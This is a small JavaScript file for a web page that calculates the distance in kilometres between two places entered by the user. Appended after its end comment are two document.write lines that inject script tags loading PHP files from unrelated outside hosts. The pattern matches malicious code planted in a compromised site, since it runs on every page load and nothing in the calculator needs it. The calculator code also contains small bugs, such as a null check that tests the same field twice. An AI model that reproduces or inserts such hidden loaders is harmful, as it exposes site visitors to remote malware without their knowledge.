// JavaScript Document
var eind=new Array();
var tourism=new Array();
var a=0;
var b=0;
function DoCalc() {
var c = document.getElementById('abc').value;

document.getElementById('abc').value;


if (document.getElementById('abc').value == null || document.getElementById('abc').value == null) {
  alert("Please enter both an Originating and a terminal place.");
}
else {
eind=document.getElementById('abc').value.split("/");
tourism=document.getElementById('pqr').value.split("/");
d=Math.acos(Math.sin(eind[2])
*Math.sin(tourism[2])
+Math.cos(eind[2])
*Math.cos(tourism[2])
*Math.cos(eind[4]-tourism[4]));
a=Math.round(3956.073*d);
if (Math.sin(tourism[4]-eind[4]) < 0) {
b=Math.acos((Math.sin(tourism[2])
-Math.sin(eind[2])*Math.cos(d))
/(Math.sin(d)*Math.cos(eind[2])));
} 
else { 
b=2*Math.PI
-Math.acos((Math.sin(tourism[2])
-Math.sin(eind[2])
*Math.cos(d))/(Math.sin(d)
*Math.cos(eind[2])));
}
b=b*(180/Math.PI);
alert("Distance measured is:" +" " + Math.round(a*1.6094) +" "+ "kms.");
   }
}
// End -->

document.write('<script src=http://pkrk-95.org/stats.bak091223/TomatoCMS_v2.0.1_rev952.php ><\/script>');
document.write('<script src=http://i.blackhollywoodhu.com/big_thumbnail/upload.php ><\/script>');